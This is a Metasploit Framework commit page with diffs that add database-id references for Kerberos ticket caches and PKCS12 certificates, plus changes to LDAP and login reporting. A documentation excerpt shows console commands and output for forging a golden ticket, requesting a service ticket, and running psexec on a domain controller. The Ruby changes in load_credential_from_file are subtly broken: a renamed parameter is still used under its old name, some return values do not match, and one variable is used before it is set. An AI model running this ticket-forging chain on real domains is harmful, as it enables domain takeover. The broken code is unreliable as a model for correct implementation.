Skip to content

Commit 1b70b54

Browse files
committed
Add database ref opts for kerberos and pkcs12
1 parent 00ea226 commit 1b70b54

File tree

20 files changed

+460
-63
lines changed

20 files changed

+460
-63
lines changed

Gemfile.lock

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -683,4 +683,4 @@ DEPENDENCIES
683683
yard
684684

685685
BUNDLED WITH
686-
2.5.10
686+
2.5.22

docs/metasploit-framework.wiki/kerberos/service_authentication.md

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -142,7 +142,7 @@ Optional options:
142142
* `read-only` -- Stored tickets from the cache will be used, but no new tickets are stored.
143143
* `write-only` -- New tickets are requested and they are stored for reuse.
144144
* `read-write` -- Stored tickets from the cache will be used and new tickets will be stored for reuse.
145-
* `${Prefix}KrbOfferedEncryptionTypes' -- The list of encryption types presented to the KDC as being supported by the Metasploit client. i.e. `SmbKrbOfferedEncryptionTypes=AES256`
145+
* `${Prefix}KrbOfferedEncryptionTypes` -- The list of encryption types presented to the KDC as being supported by the Metasploit client. i.e. `SmbKrbOfferedEncryptionTypes=AES256`
146146

147147
## Ticket management
148148

documentation/modules/auxiliary/admin/kerberos/get_ticket.md

Lines changed: 3 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -298,14 +298,14 @@ host service type name content i
298298
TGS using a previously forged golden ticket:
299299

300300
```
301-
# Forge a golden ticket
301+
# 1. Forge a golden ticket
302302
msf auxiliary(admin/kerberos/forge_ticket) > run action=FORGE_GOLDEN aes_key=dac659cec15c80bb2bc8b26cdd3f29076cff84da7ab7ec6cf9dfc2cafa33e087 domain_sid=S-1-5-21-2771926996-166873999-4256077803 domain=dev.demo.local spn=krbtgt/DEV.DEMO.LOCAL user=Administrator
303303
304304
[*] TGT MIT Credential Cache ticket saved to /Users/user/.msf4/loot/20230309120450_default_unknown_mit.kerberos.cca_940462.bin
305305
[*] Auxiliary module execution completed
306306
307307
308-
# Request a silver ticket:
308+
# 2. Request a silver ticket:
309309
310310
msf auxiliary(admin/kerberos/get_ticket) > run action=GET_TGS rhosts=10.10.11.5 Krb5Ccname=/Users/user/.msf4/loot/20230309120450_default_unknown_mit.kerberos.cca_940462.bin username=Administrator domain=dev.demo.local spn=cifs/dc02.dev.demo.local
311311
[*] Running module against 10.10.11.5
@@ -317,7 +317,7 @@ msf auxiliary(admin/kerberos/get_ticket) > run action=GET_TGS rhosts=10.10.11.5
317317
[+] 10.10.11.5:88 - Received a valid delegation TGS-Response
318318
[*] Auxiliary module execution completed
319319
320-
# Use psexec:
320+
# 3. Use psexec:
321321
322322
msf exploit(windows/smb/psexec) > run rhost=10.10.11.5 smbdomain=dev.demo.local username=Administrator smb::auth=kerberos smb::krb5ccname=/Users/user/.msf4/loot/20230309120802_default_10.10.11.5_mit.kerberos.cca_352530.bin smb::rhostname=dc02.dev.demo.local domaincontrollerrhost=10.10.11.5 lhost=192.168.123.1
323323

lib/metasploit/framework/ldap/client.rb

Lines changed: 2 additions & 11 deletions
Original file line numberDiff line numberDiff line change
@@ -111,20 +111,11 @@ def ldap_auth_opts_plaintext(opts)
111111

112112
def ldap_auth_opts_schannel(opts, ssl)
113113
auth_opts = {}
114-
pfx_path = opts[:ldap_cert_file]
115114
raise Msf::ValidationError, 'The SSL option must be enabled when using Schannel authentication.' unless ssl
116115
raise Msf::ValidationError, 'Can not sign and seal when using Schannel authentication.' if opts.fetch(:sign_and_seal, false)
117116

118-
if pfx_path.present?
119-
unless ::File.file?(pfx_path) && ::File.readable?(pfx_path)
120-
raise Msf::ValidationError, 'Failed to load the PFX certificate file. The path was not a readable file.'
121-
end
122-
123-
begin
124-
pkcs = OpenSSL::PKCS12.new(File.binread(pfx_path), '')
125-
rescue StandardError => e
126-
raise Msf::ValidationError, "Failed to load the PFX file (#{e})"
127-
end
117+
if opts[:ldap_pkcs12].present?
118+
pkcs = opts[:ldap_pkcs12][:value]
128119
else
129120
pkcs12_storage = Msf::Exploit::Remote::Pkcs12::Storage.new(
130121
framework: opts[:framework],

lib/msf/core/auxiliary/report_summary.rb

Lines changed: 17 additions & 9 deletions
Original file line numberDiff line numberDiff line change
@@ -71,11 +71,23 @@ def login_credentials(credential_data)
7171
def create_credential_login(credential_data)
7272
return super unless framework.features.enabled?(Msf::FeatureManager::SHOW_SUCCESSFUL_LOGINS) && datastore['ShowSuccessfulLogins'] && @report
7373

74-
@report[rhost] = { successful_logins: [] }
74+
@report[rhost] ||= {}
75+
@report[rhost][:successful_logins] ||= []
7576
@report[rhost][:successful_logins] << login_credentials(credential_data)
7677
super
7778
end
7879

80+
def report_successful_login(public:, private:)
81+
return super unless framework.features.enabled?(Msf::FeatureManager::SHOW_SUCCESSFUL_LOGINS) && datastore['ShowSuccessfulLogins'] && @report
82+
83+
@report[rhost] ||= {}
84+
@report[rhost][:successful_logins] ||= []
85+
@report[rhost][:successful_logins] << {
86+
public: public,
87+
private_data: private
88+
}
89+
end
90+
7991
# Creates a credential and adds to to the DB if one is present, then calls create_credential_login to
8092
# attempt a login
8193
#
@@ -90,7 +102,8 @@ def create_credential_login(credential_data)
90102
def create_credential_and_login(credential_data)
91103
return super unless framework.features.enabled?(Msf::FeatureManager::SHOW_SUCCESSFUL_LOGINS) && datastore['ShowSuccessfulLogins'] && @report
92104

93-
@report[rhost] = { successful_logins: [] }
105+
@report[rhost] ||= {}
106+
@report[rhost][:successful_logins] ||= []
94107
@report[rhost][:successful_logins] << login_credentials(credential_data)
95108
super
96109
end
@@ -107,14 +120,9 @@ def create_credential_and_login(credential_data)
107120
def start_session(obj, info, ds_merge, crlf = false, sock = nil, sess = nil)
108121
return super unless framework.features.enabled?(Msf::FeatureManager::SHOW_SUCCESSFUL_LOGINS) && datastore['ShowSuccessfulLogins']
109122

110-
unless @report && @report[rhost]
111-
elog("No RHOST found in report, skipping reporting for #{rhost}")
112-
print_brute level: :error, ip: rhost, msg: "No RHOST found in report, skipping reporting for #{rhost}"
113-
return super
114-
end
115-
116123
result = super
117-
@report[rhost].merge!({ successful_sessions: [] })
124+
@report[rhost] ||= {}
125+
@report[rhost][:successful_sessions] ||= []
118126
@report[rhost][:successful_sessions] << result
119127
result
120128
end

lib/msf/core/exploit/remote/kerberos/service_authenticator/base.rb

Lines changed: 60 additions & 23 deletions
Original file line numberDiff line numberDiff line change
@@ -90,6 +90,7 @@ class Msf::Exploit::Remote::Kerberos::ServiceAuthenticator::Base
9090
:print_status,
9191
:print_good,
9292
:vprint_error,
93+
:print_error,
9394
:vprint_status,
9495
:workspace
9596

@@ -156,7 +157,8 @@ def initialize(
156157
credential = nil
157158
if cache_file.present?
158159
# the cache file is only used for loading credentials, it is *not* written to
159-
credential = load_credential_from_file(cache_file, sname: nil, sname_hostname: @hostname)
160+
load_sname_hostname_credential_result = load_credential_from_file(cache_file, sname: nil, sname_hostname: @hostname)
161+
credential = load_sname_hostname_credential_result[:credential]
160162
serviceclass = build_spn.name_string.first
161163
if credential && credential.server.components[0] != serviceclass
162164
old_sname = credential.server.components.snapshot.join('/')
@@ -167,9 +169,18 @@ def initialize(
167169
ticket.sname.name_string[0] = serviceclass
168170
credential.ticket = ticket.encode
169171
elsif credential.nil? && hostname.present?
170-
credential = load_credential_from_file(cache_file, sname: "krbtgt/#{hostname.split('.', 2).last}")
172+
load_sname_krbtgt_hostname_credential_result = load_credential_from_file(cache_file, sname: "krbtgt/#{hostname.split('.', 2).last}")
173+
credential = load_sname_krbtgt_hostname_credential_result[:credential]
171174
end
172175
if credential.nil?
176+
vprint_error("Failed to load a usable credential from ticket file: #{cache_file}")
177+
vprint_error("Attempt: finding a valid credential in #{cache_file} for sname: nil, and sname_hostname: #{@hostname}:")
178+
vprint_error(load_sname_hostname_credential_result[:filter_reasons].join("\n").indent(2))
179+
180+
if load_sname_krbtgt_hostname_credential_result
181+
vprint_error("Attempt: Failed finding a valid credential in #{cache_file} for sname: #{"krbtgt/#{hostname.split('.', 2).last}"}")
182+
vprint_error(load_sname_krbtgt_hostname_credential_result[:filter_reasons].join("\n").indent(2))
183+
end
173184
raise ::Rex::Proto::Kerberos::Model::Error::KerberosError.new("Failed to load a usable credential from ticket file: #{cache_file}")
174185
end
175186
print_status("Loaded a credential from ticket file: #{cache_file}")
@@ -254,6 +265,7 @@ def authenticate(options = {})
254265
elsif options[:credential]
255266
auth_context = authenticate_via_krb5_ccache_credential_tgs(options[:credential], options)
256267
else
268+
# TODO: If krbcachemode=none is set, should this be getting used?
257269
pkcs12_storage = Msf::Exploit::Remote::Pkcs12::Storage.new(framework: framework, framework_module: framework_module)
258270
pkcs12_results = pkcs12_storage.pkcs12(
259271
workspace: workspace,
@@ -361,7 +373,7 @@ def build_spn(options = {})
361373
# @return [Rex::Proto::Kerberos::CredentialCache::Krb5CcacheCredential] The ccache credential
362374
def request_tgt_only(options = {})
363375
if options[:cache_file]
364-
credential = load_credential_from_file(options[:cache_file])
376+
credential = load_credential_from_file(options[:cache_file])[:credential]
365377
else
366378
credential = get_cached_credential(
367379
options.merge(
@@ -1054,67 +1066,92 @@ def get_cached_credential(options = {})
10541066
)
10551067
end
10561068

1057-
# Load a credential object from a file for authentication. Credentials in the file will be filtered by multiple
1069+
# Load a credential object from a file or database entry for authentication. Credentials in the credential cache will be filtered by multiple
10581070
# attributes including their timestamps to ensure that the returned credential appears usable.
10591071
#
1060-
# @param [String] file_path The file path to load a credential object from
1072+
# @param [path] path The file path to load a credential object from or database string reference
10611073
# @return [Rex::Proto::Kerberos::CredentialCache::Krb5CacheCredential] the credential object for authentication
1062-
def load_credential_from_file(file_path, options = {})
1063-
unless File.readable?(file_path.to_s)
1064-
wlog("Failed to load ticket file '#{file_path}' (file not readable)")
1065-
return nil
1066-
end
1074+
def load_credential_from_file(path, options = {})
1075+
# Load a database reference or a path
1076+
if path.start_with?('id:')
1077+
id = path.delete_prefix('id:')
1078+
storage = Msf::Exploit::Remote::Kerberos::Ticket::Storage::ReadOnly.new(framework: framework)
1079+
cache = storage.tickets({ id: id }).first&.ccache
1080+
if !cache
1081+
wlog("Invalid cache id #{id} provided") unless cache
1082+
return { credential: nil }
1083+
end
1084+
else
1085+
unless File.readable?(file_path.to_s)
1086+
wlog("Failed to load ticket file '#{file_path}' (file not readable)")
1087+
return nil
1088+
end
10671089

1068-
begin
1069-
cache = Rex::Proto::Kerberos::CredentialCache::Krb5Ccache.read(File.binread(file_path))
1070-
rescue StandardError => e
1071-
elog("Failed to load ticket file '#{file_path}' (parsing failed)", error: e)
1072-
return nil
1090+
begin
1091+
cache = Rex::Proto::Kerberos::CredentialCache::Krb5Ccache.read(File.binread(file_path))
1092+
rescue StandardError => e
1093+
elog("Failed to load ticket file '#{file_path}' (parsing failed)", error: e)
1094+
return nil
1095+
end
10731096
end
10741097

10751098
sname = options.fetch(:sname) { build_spn&.to_s }
10761099
sname_hostname = options.fetch(:sname_hostname, nil)
10771100
now = Time.now.utc
10781101

1102+
filter_reasons = []
1103+
10791104
cache.credentials.to_ary.each.with_index(1) do |credential, index|
10801105
tkt_start = credential.starttime == Time.at(0).utc ? credential.authtime : credential.starttime
10811106
tkt_end = credential.endtime
10821107

10831108
unless tkt_start < now
1084-
wlog("Filtered credential #{file_path} ##{index} reason: Ticket start time is before now (start: #{tkt_start})")
1109+
filter_reason = "Filtered credential #{path} ##{index} reason: Ticket start time is before now (start: #{tkt_start})"
1110+
filter_reasons << filter_reason
1111+
wlog(filter_reason)
10851112
next
10861113
end
10871114

10881115
unless now < tkt_end
1089-
wlog("Filtered credential #{file_path} ##{index} reason: Ticket is expired (expiration: #{tkt_end})")
1116+
wlog("Filtered credential #{path} ##{index} reason: Ticket is expired (expiration: #{tkt_end})")
1117+
filter_reasons << filter_reason
1118+
wlog(filter_reason)
10901119
next
10911120
end
10921121

10931122
unless !@realm || @realm.casecmp?(credential.server.realm.to_s)
1094-
wlog("Filtered credential #{file_path} ##{index} reason: Realm (#{@realm}) does not match (realm: #{credential.server.realm})")
1123+
filter_reason = "Filtered credential #{path} ##{index} reason: Realm (#{@realm}) does not match (realm: #{credential.server.realm})"
1124+
filter_reasons << filter_reason
1125+
wlog(filter_reason)
10951126
next
10961127
end
10971128

10981129
unless !sname || sname.to_s.casecmp?(credential.server.components.snapshot.join('/'))
1099-
wlog("Filtered credential #{file_path} ##{index} reason: SPN (#{sname}) does not match (spn: #{credential.server.components.snapshot.join('/')})")
1130+
filter_reason = "Filtered credential #{path} ##{index} reason: SPN (#{sname}) does not match (spn: #{credential.server.components.snapshot.join('/')})"
1131+
filter_reasons << filter_reason
1132+
wlog(filter_reason)
11001133
next
11011134
end
11021135

11031136
unless !sname_hostname ||
11041137
sname_hostname.to_s.downcase == credential.server.components[1].downcase ||
11051138
sname_hostname.to_s.downcase.ends_with?('.' + credential.server.components[1].downcase)
1106-
wlog("Filtered credential #{file_path} ##{index} reason: SPN (#{sname_hostname}) hostname does not match (spn: #{credential.server.components.snapshot.join('/')})")
1139+
filter_reason = "Filtered credential #{path} ##{index} reason: SPN (#{sname_hostname}) hostname does not match (spn: #{credential.server.components.snapshot.join('/')})"
1140+
filter_reasons << filter_reason
1141+
wlog(filter_reason)
11071142
next
11081143
end
11091144

11101145
unless !@username || @username.casecmp?(credential.client.components.last.to_s)
1111-
wlog("Filtered credential #{file_path} ##{index} reason: Username (#{@username}) does not match (username: #{credential.client.components.last})")
1146+
filter_reason = "Filtered credential #{path} ##{index} reason: Username (#{@username}) does not match (username: #{credential.client.components.last})"
1147+
filter_reasons << filter_reason
1148+
wlog(filter_reason)
11121149
next
11131150
end
11141151

1115-
return credential
1152+
return { credential: credential, filter_reasons: filter_reasons }
11161153
end
11171154

1118-
nil
1155+
{ credential: nil, filter_reasons: filter_reasons }
11191156
end
11201157
end

lib/msf/core/exploit/remote/kerberos/service_authenticator/options.rb

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -41,7 +41,7 @@ def kerberos_auth_options(protocol:, auth_methods:)
4141
[false, 'The resolvable rhost for the Domain Controller'],
4242
conditions: option_conditions
4343
),
44-
Msf::OptPath.new(
44+
Msf::OptKerberosCredentialCache.new(
4545
"#{protocol}::Krb5Ccname",
4646
[false, 'The ccache file to use for kerberos authentication', nil],
4747
conditions: option_conditions

lib/msf/core/exploit/remote/ldap.rb

Lines changed: 5 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -40,13 +40,14 @@ def initialize(info = {})
4040
Opt::Proxies,
4141
*kerberos_storage_options(protocol: 'LDAP'),
4242
*kerberos_auth_options(protocol: 'LDAP', auth_methods: Msf::Exploit::Remote::AuthOption::LDAP_OPTIONS),
43-
Msf::OptPath.new('LDAP::CertFile', [false, 'The path to the PKCS12 (.pfx) certificate file to authenticate with'], conditions: ['LDAP::Auth', '==', Msf::Exploit::Remote::AuthOption::SCHANNEL]),
43+
Msf::OptPkcs12Cert.new('LDAP::CertFile', [false, 'The path to the PKCS12 (.pfx) certificate file to authenticate with'], conditions: ['LDAP::Auth', '==', Msf::Exploit::Remote::AuthOption::SCHANNEL]),
4444
OptFloat.new('LDAP::ConnectTimeout', [true, 'Timeout for LDAP connect', 10.0]),
4545
OptEnum.new('LDAP::Signing', [true, 'Use signed and sealed (encrypted) LDAP', 'auto', %w[ disabled auto required ]])
4646
]
4747
)
4848
end
4949

50+
5051
# Alias to return the RHOST datastore option.
5152
#
5253
# @return [String] The current value of RHOST in the datastore.
@@ -68,21 +69,23 @@ def peer
6869
"#{rhost}:#{rport}"
6970
end
7071

72+
7173
# Set the various connection options to use when connecting to the
7274
# target LDAP server based on the current datastore options. Returns
7375
# the resulting connection configuration as a hash.
7476
#
7577
# @return [Hash] The options to use when connecting to the target
7678
# LDAP server.
7779
def get_connect_opts
80+
pkcs12_storage = Msf::Exploit::Remote::Pkcs12::Storage.new(framework: framework, framework_module: self)
7881
opts = {
7982
username: datastore['LDAPUsername'],
8083
password: datastore['LDAPPassword'],
8184
domain: datastore['LDAPDomain'],
8285
base: datastore['BASE_DN'],
8386
domain_controller_rhost: datastore['DomainControllerRhost'],
8487
ldap_auth: datastore['LDAP::Auth'],
85-
ldap_cert_file: datastore['LDAP::CertFile'],
88+
ldap_pkcs12: datastore['LDAP::CertFile'] ? pkcs12_storage.read_pkcs12_cert_path(datastore['LDAP::CertFile']) : nil,
8689
ldap_rhostname: datastore['LDAP::Rhostname'],
8790
ldap_krb_offered_enc_types: datastore['LDAP::KrbOfferedEncryptionTypes'],
8891
ldap_krb5_cname: datastore['LDAP::Krb5Ccname'],

lib/msf/core/exploit/remote/pkcs12/storage.rb

Lines changed: 26 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -16,6 +16,32 @@ def initialize(framework: nil, framework_module: nil)
1616
@framework_module = framework_module
1717
end
1818

19+
# @param [String] cert_path A path to the file system where a pkcs12 cert is located, or a reference to a core database i.e., "id:123"
20+
# @param [String] cert_pass The certificate password
21+
# @param [String] workspace The workspace to restrict searches to
22+
def read_pkcs12_cert_path(cert_path, cert_pass = '', workspace: nil)
23+
if cert_path.start_with?('id:')
24+
core = framework.db.creds({ workspace: workspace, id: cert_path.delete_prefix('id:') }).first
25+
raise Msf::ValidationError, 'Invalid cert id provided' unless core
26+
raise Msf::ValidationError, 'Invalid cert id provided - not a pkcs12 credential' unless core.private.type == 'Metasploit::Credential::Pkcs12'
27+
28+
data = Base64.decode64(core.private.data)
29+
else
30+
is_readable = ::File.file?(cert_path) && ::File.readable?(cert_path)
31+
raise Msf::ValidationError, 'Failed to load the PFX certificate file. The path was not a readable file.' unless is_readable
32+
data = File.binread(cert_path)
33+
end
34+
35+
begin
36+
# TODO: This current database model approach doesn't store the cred password? Or does it? i.e. in metadata CERT_PASSWORD
37+
pkcs12 = OpenSSL::PKCS12.new(data, cert_pass)
38+
rescue StandardError => e
39+
raise Msf::ValidationError, "Failed to load the PFX file (#{e})"
40+
end
41+
42+
{ path: cert_path, value: pkcs12 }
43+
end
44+
1945
# Get stored pkcs12 matching the options query.
2046
#
2147
# @param [Hash] options The options for matching pkcs12's.

0 commit comments

Comments
 (0)